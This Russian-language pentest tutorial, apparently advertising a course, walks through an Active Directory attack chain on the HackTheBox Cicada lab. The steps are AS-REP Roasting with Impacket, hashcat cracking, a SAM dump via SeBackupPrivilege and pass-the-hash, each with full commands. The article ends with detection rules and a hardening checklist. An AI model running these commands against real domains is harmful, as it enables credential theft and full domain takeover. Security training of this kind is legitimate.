Перейти к содержимому

AS-REP Roasting атака Active Directory: от разведки до дампа SAM через HTB Cicada

AS-REP Roasting атака Active Directory: от разведки до дампа SAM через HTB Cicada
Время чтения: 11 мин.

На внутреннем пентесте вся цепочка — от нулевого доступа до дампа SAM контроллера домена — заняла 47 минут. Точка входа: одна учётная запись с отключённой Kerberos pre-authentication. Вектор: AS-REP Roasting. Финиш: SeBackupPrivilege и полный контроль над доменом.

Одна галочка в свойствах аккаунта, которую поставили «для совместимости» и забыли. 47 минут — и домен сдан.

Машины типа HTB Cicada моделируют именно такой сценарий. Разберём его по шагам: от уровня протокола до конкретных команд в терминале.

Что происходит на уровне протокола Kerberos

Kerberos — протокол аутентификации в Active Directory (AD — служба каталогов Microsoft, центральное звено корпоративных сетей на Windows). Когда пользователь входит в систему, его машина обменивается сообщениями с контроллером домена (DC — сервер, управляющий доменом).

Нормальный процесс аутентификации:

  1. Клиент отправляет AS-REQ (Authentication Service Request) — запрос на проверку подлинности. Внутри — временная метка, зашифрованная хэшем пароля пользователя. Это pre-authentication: «докажи, что знаешь пароль, прежде чем я выдам тебе билет».
  2. DC расшифровывает timestamp своей копией хэша. Совпало — пользователь подтвердил личность.
  3. DC возвращает AS-REP (Authentication Service Response) с TGT (Ticket Granting Ticket — «пропуск», дающий доступ к ресурсам домена). Часть AS-REP зашифрована хэшем пароля пользователя.

Аналогия: pre-authentication — проверка паспорта перед выдачей пропуска на объект. Без неё охранник выдаёт пропуск каждому, кто назовёт имя сотрудника. Пропуск запечатан «замком» из пароля владельца, и если пароль слабый — замок вскрывается офлайн, без повторного визита на проходную.

Зачем отключают pre-authentication? Обычно ради совместимости с legacy-приложениями, которые не поддерживают этот механизм. По умолчанию в AD pre-authentication включена. Но достаточно одной ошибки конфигурации, чтобы открыть вектор AS-REP Roasting атаки.

Место AS-REP Roasting в цепочке атаки Active Directory

MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1558.004 — идентификаторы конкретных техник) классифицирует AS-REP Roasting как T1558.004 в тактике Credential Access.

В полной цепочке атаки на AD эта техника стоит рано:

  1. Разведка — сканирование сети, обнаружение DC, сбор имён пользователей
  2. Credential Access: AS-REP Roasting (T1558.004) — получение хэша и офлайн-подбор пароля
  3. Lateral Movement — перемещение по сети с полученными credentials
  4. Privilege Escalation — повышение привилегий (в нашем случае через SeBackupPrivilege)
  5. Credential Access: дамп SAM — извлечение хэшей всех локальных пользователей

Главное: AS-REP Roasting может работать без доменной учётной записи. Достаточно сетевого доступа к DC и списка имён пользователей. В grey box сценарии (когда на пентесте выданы low-privilege credentials) задача ещё проще: можно запросить список всех учётных записей с флагом DoesNotRequirePreAuth через LDAP, не угадывая имена.

Требования к окружению

Перед началом проверьте:

  • ОС атакующей машины: Kali Linux 2023+ или любой дистрибутив с Python 3.8+
  • RAM: минимум 4 ГБ; для Hashcat с GPU — от 8 ГБ плюс VRAM видеокарты от 4 ГБ
  • Инструменты: Impacket (набор Python-скриптов для работы с сетевыми протоколами Windows; в Kali установлен по умолчанию, активно поддерживается), Hashcat (GPU-крекер паролей)
  • Сеть: доступ к порту 88/TCP (Kerberos) контроллера домена; для HTB — активное VPN-подключение
  • Права: root/sudo на атакующей машине на этом этапе не требуются

Для эскалации через SeBackupPrivilege дополнительно понадобятся evil-winrm (WinRM-клиент) и secretsdump.py из Impacket.

Где отработать: HackTheBox предоставляет машины с AD-инфраструктурой, включая Cicada, где эта цепочка воспроизводится в контролируемой среде.

Энумерация: находим учётные записи без Kerberos pre-authentication

Black box: нет credentials

Без доменных учётных данных нужен список имён пользователей. Способы сбора:

  • SMB null session: enum4linux -a <DC_IP> или crackmapexec smb <DC_IP> --users
  • RID brute force: crackmapexec smb <DC_IP> -u '' -p '' --rid-brute
  • Kerberos user enumeration: kerbrute userenum --dc <DC_IP> -d <DOMAIN> usernames.txt

На машинах HTB часто доступны гостевые SMB-шары с документами, где мелькают имена сотрудников — типичная стартовая точка для сбора имён. Не игнорируйте их: один файл welcome_note.txt может содержать логин, который откроет всю цепочку.

Grey box: есть low-privilege учётная запись

Если на пентесте выданы credentials, команда impacket-GetNPUsers -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> автоматически находит все учётные записи с отключённой pre-authentication через LDAP. Альтернатива из PowerShell на доменной машине: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}.

AS-REP Roasting через GetNPUsers Impacket

GetNPUsers.py — скрипт из Impacket, заточенный под AS-REP Roasting. Он отправляет AS-REQ без pre-authentication на DC и сохраняет полученный AS-REP в формате для офлайн-подбора. Работает с Linux-машины, не оставляет артефактов на целевой системе — DC видит обычный запрос аутентификации.

# Black box — с файлом имён пользователей
impacket-GetNPUsers -dc-ip 10.10.11.35 \
  -usersfile users.txt -format hashcat \
  -outputfile asrep_hashes.txt cicada.htb/

# Grey box — автоматический поиск уязвимых учёток
impacket-GetNPUsers -dc-ip 10.10.11.35 \
  -request -format hashcat cicada.htb/guest:''

Что происходит при запуске: скрипт отправляет AS-REQ для каждого имени из списка. Если pre-authentication отключена, DC возвращает AS-REP с данными, зашифрованными хэшем пароля. Скрипт извлекает эту часть и сохраняет в файл. IP-адрес и доменное имя в примерах — подставьте свои значения.

Ожидаемый вывод при успехе — строка вида $krb5asrep$23$username@DOMAIN:...длинный_хэш.... Префикс $krb5asrep$23$ означает Kerberos 5 AS-REP с шифрованием RC4 (тип 23). Почему RC4? Инструменты AS-REP Roasting по умолчанию запрашивают именно его — он слабее AES и крекается значительно быстрее.

Если вывод пуст — ни одна учётная запись из списка не имеет отключённой pre-authentication. Проверьте полноту списка имён или переключайтесь на другой вектор.

Альтернативные инструменты для AS-REP Roasting:

Инструмент Платформа Нужна аутентификация Когда использовать Когда не использовать
GetNPUsers (Impacket) Linux, Python Нет, но помогает Внешний и внутренний пентест Нет Python-окружения
Rubeus Windows, C# Нет (внутри домена) Post-exploitation, уже на хосте Нет доступа к доменной машине
nxc (бывш. CrackMapExec) Linux, Python Нет Быстрая проверка в автоматизации Нужен тонкий контроль параметров

Rubeus запускается изнутри домена: Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt — автоматически находит все уязвимые учётки через LDAP. Модуль Metasploit auxiliary/gather/asrep — ещё один вариант, удобен для автоматизации, но менее гибок в настройках.

Крекаем хэш: Hashcat и режим 18200

Полученный хэш содержит данные, зашифрованные паролем пользователя. Задача — подобрать пароль офлайн, без повторных обращений к DC. Hashcat работает на GPU и для RC4-хэшей он быстрее всех альтернатив.

hashcat -m 18200 asrep_hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

Разбор параметров: -m 18200 — режим для Kerberos 5 AS-REP etype 23 (RC4); rockyou.txt — словарь на 14 млн паролей (входит в Kali); --rules-file best64.rule — правила мутации (добавление цифр, смена регистра, спецсимволы), увеличивающие покрытие без полного перебора.

При успехе в конце хэш-строки появится открытый пароль. Скорость зависит от GPU: на GTX 1080 — около 500 MH/s для RC4, пароль из 8 символов по словарю подбирается за секунды. А вот пароль длиной 25+ символов — практически невзламываем.

Альтернатива без GPU: john --wordlist=rockyou.txt --format=krb5asrep hashes.txt (John the Ripper). Работает на CPU, существенно медленнее, но на ноутбуке без дискретной видеокарты — единственный вариант.

SeBackupPrivilege: повышение привилегий и дамп SAM

Пароль подобран. Следующий шаг — проверить привилегии скомпрометированной учётной записи. На HTB-машинах и в реальных инфраструктурах встречается ситуация: аккаунт входит в группу Backup Operators и имеет привилегию SeBackupPrivilege.

Зачем эта привилегия существует: она позволяет читать ЛЮБОЙ файл в системе, включая защищённые кусты реестра. Штатная возможность Windows для операторов резервного копирования. Но атакующий использует её для извлечения хэшей паролей из базы SAM (Security Account Manager — хранилище локальных учётных записей Windows и их NTLM-хэшей).

Подключаемся к целевой машине через evil-winrm -i <DC_IP> -u <USER> -p <PASSWORD> и проверяем привилегии командой whoami /priv. Видите в списке SeBackupPrivilege — эскалация возможна.

# В сессии evil-winrm на целевой машине
reg save HKLM\SAM C:\tmp\SAM
reg save HKLM\SYSTEM C:\tmp\SYSTEM
download C:\tmp\SAM
download C:\tmp\SYSTEM

# На атакующей машине — извлекаем хэши
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Что происходит на каждом шаге:

  1. reg save HKLM\SAM — копирует куст реестра SAM в файл. Без SeBackupPrivilege команда вернёт «Access Denied».
  2. reg save HKLM\SYSTEM — копирует куст SYSTEM, содержащий ключ шифрования для расшифровки SAM.
  3. download — встроенная команда evil-winrm для скачивания файлов на атакующую машину.
  4. secretsdump -sam SAM -system SYSTEM LOCAL — Impacket-скрипт объединяет оба файла и извлекает NTLM-хэши (формат NT LAN Manager) всех локальных пользователей, включая встроенного Administrator.

Ожидаемый вывод: строки вида Administrator:500:aad3b435b...:31d6cfe0d1...:::. Часть после последнего двоеточия — NTLM-хэш. С ним можно выполнить Pass-the-Hash (T1550.002 — использование хэша вместо пароля для аутентификации) через evil-winrm -i <DC_IP> -u Administrator -H <NTLM_HASH> и получить полный административный доступ.

Альтернативный путь: diskshadow для создания теневой копии тома и копирования ntds.dit — базы AD со всеми доменными хэшами. Мощнее, но заметнее для средств мониторинга.

Ограничения AS-REP Roasting

Техника рабочая, но далеко не серебряная пуля.

Pre-authentication включена по умолчанию. В стандартной конфигурации AD ни у одной учётной записи флаг DoesNotRequirePreAuth не установлен. AS-REP Roasting атака срабатывает только при явной ошибке конфигурации — кто-то поставил галочку «Do not require Kerberos preauthentication» и забыл.

Сильные пароли делают крекинг бессмысленным. Пароль 25+ символов со спецсимволами не подбирается за разумное время даже на GPU-кластере. Групповые управляемые сервисные учётные записи (gMSA) используют пароли длиной 240 символов — против них AS-REP Roasting бесполезен.

AES вместо RC4. Если в домене через Group Policy отключено шифрование RC4 и оставлен только AES-256 (тип 18), хэши получить можно, но крекинг становится примерно в 100 раз медленнее. Hashcat-режим для AES-256 Kerberos — 19700.

Детектирование. Event ID 4768 в журнале Security на DC фиксирует каждый запрос TGT. Комбинация [Ticket Encryption Type: 0x17](https://www.zscaler.com/blogs/product-insights/active-directory-kerberoasting-deception-detection) (RC4) и Pre-Authentication Type: 0 — прямой индикатор AS-REP Roasting. Sigma-правило win_security_susp_rc4_kerberos.yml из репозитория SigmaHQ детектирует этот паттерн, а proc_creation_win_hktl_rubeus.yml — запуск Rubeus по аргументам командной строки.

Honeypot-учётки. Защитная техника из MITRE D3FEND (D3-DUC — Decoy User Credential): создаётся аккаунт с отключённой pre-authentication, привлекательным именем (svc_backup, admin_legacy) и сложным паролем. Любой AS-REP запрос к нему — мгновенный алерт. На практике я встречал такие ловушки на двух из десяти внутренних аудитов. Попадёшься — и вместо тихого продвижения по домену получишь звонок от SOC.

Kerberoasting vs AS-REP Roasting: когда что применять

Обе техники входят в T1558 (Steal or Forge Kerberos Tickets) и нацелены на офлайн-подбор паролей через Kerberos, но механика и условия применимости разные.

Критерий Kerberoasting (T1558.003) AS-REP Roasting (T1558.004)
Цель Сервисные учётные записи с SPN Учётные записи без pre-auth
Нужна доменная учётка Да (любой пользователь домена) Нет (достаточно знать имя)
Что крекаем TGS-хэш (сервисный билет) AS-REP хэш (ответ аутентификации)
Hashcat mode 13100 (RC4) / 19700 (AES) 18200
Инструмент Impacket GetUserSPNs GetNPUsers
Частота в продакшене Высокая (SPN есть почти всегда) Низкая (pre-auth включена по умолчанию)

Алгоритм выбора вектора:

  • Нет credentials — начинайте с AS-REP Roasting (не требует аутентификации в домене)
  • Есть low-privilege credentials — сначала Kerberoasting (больше потенциальных целей), затем AS-REP Roasting
  • Оба вектора пусты — переключайтесь на LLMNR/NBT-NS Poisoning, password spraying или поиск других мисконфигураций

Чеклист защиты от AS-REP Roasting

Готов к передаче системному администратору или включению в отчёт по аудиту:

  1. Найти все учётные записи с отключённой pre-authentication: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true}
  2. Включить pre-authentication для каждой найденной учётки; исключения — только при документированном обосновании
  3. Для учёток, где pre-authentication отключить нельзя: установить пароль минимум 25 символов со спецсимволами
  4. Отключить RC4 через Group Policy: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → «Network security: Configure encryption types allowed for Kerberos» — оставить AES128 и AES256
  5. Настроить мониторинг Event ID 4768 с фильтром: Ticket Encryption Type = 0x17 и Pre-Authentication Type = 0
  6. Мониторить Event ID 4738 на изменение атрибута DoesNotRequirePreAuth — детектирует момент, когда кто-то ставит опасную галочку
  7. Создать honeypot-учётку с отключённой pre-authentication, сложным паролем и алертом на любую попытку аутентификации
  8. Ежеквартально проводить аудит атрибутов аутентификации доменных учётных записей

Вся цепочка, которую мы разобрали — от AS-REP Roasting до дампа SAM через SeBackupPrivilege — работает не потому, что в AD есть «уязвимость». Она работает потому, что кто-то однажды поставил галочку в свойствах учётной записи и забыл о ней. На внутренних аудитах это встречается регулярно: защитники часто не подозревают, что у них есть учётки с отключённой pre-authentication, потому что никто не проводил аудит атрибутов аутентификации. Одна команда PowerShell из чеклиста выше решает проблему за пять секунд — но её никто не запускает.

Отдельная история — SeBackupPrivilege. Назначение этой привилегии группе Backup Operators выглядит логичным: оператору бэкапов нужен доступ к файлам. На практике это означает, что «оператор бэкапов» может прочитать все секреты домена. Резервное копирование давно автоматизировано через gMSA и агентов, а привилегия продолжает висеть на учётных записях людей, которым она не нужна. Пока её не отберут, любой скомпрометированный аккаунт из Backup Operators превращает «получил один пароль» в «получил весь домен». Если хочется понять не только «что набрать в терминале», а почему эта цепочка работает на уровне протоколов — IB Basics закрывает эту базу без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.